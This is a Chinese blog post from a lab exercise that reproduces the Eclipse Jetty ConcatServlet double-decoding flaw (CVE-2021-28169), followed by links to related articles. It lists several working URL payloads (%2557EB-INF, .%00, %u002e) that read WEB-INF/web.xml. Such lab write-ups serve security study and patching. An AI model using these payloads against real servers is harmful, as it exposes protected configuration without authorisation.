vulfocus 靶场 jetty 敏感信息泄露 （CVE-2021-28169）

最新推荐文章于 2024-07-07 21:43:19 发布
最新推荐文章于 2024-07-07 21:43:19 发布
阅读量451 收藏
点赞数 2
分类专栏： 漏洞复现 文章标签： jetty
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_27249127/article/details/138120506
版权
本文揭示了EclipseJetty特定版本中存在安全漏洞，允许通过使用双重编码路径访问WEB-INF目录下的受保护资源，可能导致敏感信息泄露。攻击者可通过精心构造的payload利用这一漏洞。
摘要由CSDN通过智能技术生成

对于 <= 9.4.40、<= 10.0.2、<= 11.0.2 的 Eclipse Jetty 版本，对带有双重编码路径的 ConcatServlet 的请求可以访问 WEB-INF 目录中的受保护资源。例如，对 `/concat?/%2557EB-INF/web.xml` 的请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实施的敏感信息。

payload:

http://ip:port后面加如下payload：

static?/%2557Eb-INF/web.xml

/.%00/WEB-INF/web.xml

/%u002e/WEB-INF/web.xml

/a/b/..%00/WEB-INF/web.xml

直接访问：

对W进行编码为 %2557，访问：static?/%2557EB-INF/web.xml

西蒙娜
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
[ vulhub漏洞复现篇 ] Jetty Utility Servlets ConcatServlet 双重解码信息泄露漏洞CVE-2021-28169
qq_51577576的博客
09-12 1669
[ vulhub漏洞复现篇 ] Jetty Utility Servlets ConcatServlet 双重解码信息泄露漏洞CVE-2021-28169
cckuailong#vulbase#Eclipse Jetty 拒绝服务 (CVE-2020-27223)1
07-25
Eclipse Jetty 拒绝服务 (CVE-2020-27223)当Jetty处理包含带有大量质量因子参数(Accept请求头中的q值)的Accept请求头
zookeeper3.6.3升级jetty9.4.47解决安全漏洞CVE-2022-2048和CVE-2021-28169
shy_snow的专栏
12-12 1万+
zookeeper3.6安全漏洞CVE-2022-2048和CVE-2021-28169, 替换zookeeper的lib目录下的7个jetty为9.4.47版本jar包后重启zookeeper,即可。jetty9.4.47下载地址https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.47.v20220610/
Jetty Ambiguous Paths 信息泄露漏洞（CVE-2021-28164/CVE-2021-34429）
最新发布
qq_62056583的博客
07-07 919
在Jetty9.4.37版本中，为了符合。称为点段，这是为了路径名层次结构中的相对引用定义的，它们在一些操作系统文件目录中分别代表当前目录和父目录，但是在Jetty中这些点段仅在URL路径中解释层次结构，在解析过程中通过解析去除一部分，所以我们在解析URL路径的时候首先需要处理.和..。针对在前端解析url编码的问题所在，我们可以选择在安全校验中可以选择将二次规范化的步骤提前至第四步来，又或者说进行多步规范化处理，虽然会耗费更多的资源但是用来根本上解决一个标准解析的问题出现也是可以接受的。
web服务器/中间件漏洞系列6：jetty漏洞汇总
热门推荐
W0ngk，一个安全菜鸡，一直在模仿，尚未有超越。
12-02 1万+
JETTY简介： Jetty作为Eclipse基金会的一部分，是一个纯粹的基于Java的网页服务器和Java Servlet容器，其支持最新的Java Servlet API，同时支持WebSocket，SPDY，HTTP/2协议。 一、CVE-2021-28164 [34429] 敏感信息泄露 1、漏洞简介： 在Jetty9.4.37版本中，为了符合RFC3986中的规范，选择性地支持可能有歧义解释的URI，默认模式允许URL编码，简单看下RFC3986（替代RFC2396）的规定 其大致意思是：.和.
最新系统漏洞--Eclipse Jetty信息泄露漏洞
weixin_48555088的博客
10-22 1万+
最新系统漏洞2021年10月22日 受影响系统： Eclipse Jetty <= 9.4.40 Eclipse Jetty <= 11.0.2 Eclipse Jetty <= 10.0.2 描述： CVE(CAN) ID: CVE-2021-28169 Eclipse Jetty是Eclipse基金会的一个开源的、基于Java的Web服务器和Java Servlet容器。 Eclipse Jetty 9.4.40及之前版本、10.0.2及之前版本和11.0.2及之前版本存在信息泄露漏洞
Eclipse Jetty server漏洞解决
qq_42222680的博客
02-10 7753
Eclipse Jetty 服务器伪路径请求绕过漏洞(Linux)
Jenkins 命令执行 -- jetty 敏感信息泄露 --(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861)
weixin_74985952的博客
09-25 851
对于
jetty-util-6.1.25.jar
01-10
jetty-util-6.1.25.jarjetty-util-6.1.25.jarjetty-util-6.1.25.jar
eclipse jetty插件
05-16
run-jetty-run是一个新的jetty eclipse插件通过该插件可以直接在Eclipse环境中启动、停止 Jetty ，同时进行在线调试而无需重启服务。 http://run-jetty-run.googlecode.com/svn/trunk/updatesite 由于谷歌退出中国，...
eclipse-jee-2021-06-R-win32-x86_64.zip
07-10
标题中的"eclipse-jee-2021-06-R-win32-x86_64.zip"表明这是2021年6月发布的Eclipse IDE版本，适用于Windows 64位操作系统。"win32-x86_64"这部分可能有些误导，因为"win32"通常指代32位系统，但在这里可能是为了...
jetty-server-8.1.8-API文档-中英对照版.zip
06-12
赠送Maven依赖信息文件：jetty-server-8.1.8.pom； 包含翻译后的API文档：jetty-server-8.1.8-javadoc-API文档-中文(简体)-英语-对照版.zip； Maven坐标：com.jfinal:jetty-server:8.1.8； 标签：jfinal、jetty、...
vulhub漏洞复现30_Jetty
weixin_44193247的博客
02-04 3649
vulhub漏洞复现练习篇
GeoServer 2.11.1升级解决Eclipse Jetty 的一系列安全漏洞问题
diaya的专栏
02-06 2141
下载 Geoserver2.32.4，先装了JDK17,再装了GeoServer2.23.4。网址访问一切正常，建了工作空间，在存储仓库里选 shapefile新建时，点“浏览”，竟无法弹出选文件的窗口，查看调用显示下错。接到安全评估报告，发现上面一堆关于Jetty的安全问题，后得知，是GeoServer2.11.1中用的jetty版本太低导致。Eclipse Jetty HTTP请求走私漏洞(CVE-2017-7658)2、先卸载原有的geoserver2.11.1，再卸载其配套的jre 8。
Jetty Servlets URI路径限制绕过漏洞（CVE-2021-28169）
m0_65150886的博客
12-29 706
参考官方在9.4.41版本的修复commit：https://github.com/eclipse/jetty.project/pull/6261/commits/c704b8100a1ccc36f4bb8b80a96f3375dde8d182。Jetty Servlets中的ConcatServlet、WelcomeFilter类存在多重解码问题，当应用到这两个类之一时，攻击者就可以利用双重URL编码绕过限制来访问WEB-INF目录下的敏感文件，造成敏感信息泄露。1.访问IP：port。
Jetty HTTP2.0 DoS漏洞分析
BASK2311的博客
05-18 2155
漏洞出现的Jetty版本是9.4.46，理论上小于该版本的Jetty在使用HTTP2.0协议功能的时候都可能会受到DoS攻击。Jetty团队已修复该漏洞。所以，如果使用还在使用低版本Jetty的同学建议升级。作者：CrabGeek链接：https://juejin.cn/post/7233409321340715067。
Eclipse Jetty Server 安全漏洞
聆听梦飞扬的博客
12-24 6000
Eclipse Jetty Server 安全漏洞
Day80：服务攻防-中间件安全&HW2023-WPS分析&Weblogic&Jetty&Jenkins&CVE
qq_61553520的博客
04-04 992
小迪安全-Day80：服务攻防-中间件安全&HW2023-WPS分析&Weblogic&Jetty&Jenkins&CVE
[ vulhub漏洞复现篇 ] vulhub 漏洞集合（含漏洞复现文章连接）
qq_51577576的博客
09-21 1万+
介绍：Vulhub是一个面向大众的开源漏洞靶场，无需docker知识，简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。 计划：这里记录了 vulhub 所有的漏洞，本专栏也会将这些漏洞全部复现，欢迎持续订阅 我也会不定期再中间更新复现文章链接 目的：以复现 vulhub 漏洞为路径，展示不同的渗透思路及手法，同类漏洞我会尽量用多种渗透思路进行复现，不仅仅是提高个人能力，也是想再 CSDN 这个平台认识更多的安全爱好者
CVE-2021-34429
07-29
CVE-2021-34429是Jetty服务器中的一个漏洞，该漏洞在Jetty 9.4.43版本中修复。\[2\]具体的漏洞利用过程需要进入CVE-2021-34429环境，可以通过以下命令进入该环境：cd vulhub/jetty/CVE-2021-34429。\[1\] 关于CVE-2021-34429的详细利用过程和修复方法，可以参考相关的安全公告和文档。由于你提供的引用内容中没有提到具体的漏洞利用细节，我无法提供更详细的信息。如果你需要进一步了解CVE-2021-34429的细节，请参考相关的安全公告和漏洞报告。 #### 引用[.reference_title] - *1* [[ vulhub漏洞复现篇 ] Jetty WEB-INF 文件读取复现CVE-2021-34429](https://blog.csdn.net/qq_51577576/article/details/126811451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v4^insert_chatgpt"}} ] [.reference_item] - *2* *3* [(CVE-2021-28164/CVE-2021-34429)Eclipse Jetty WEB-INF敏感信息泄露漏洞分析](https://blog.csdn.net/weixin_50464560/article/details/120608463)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v4^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值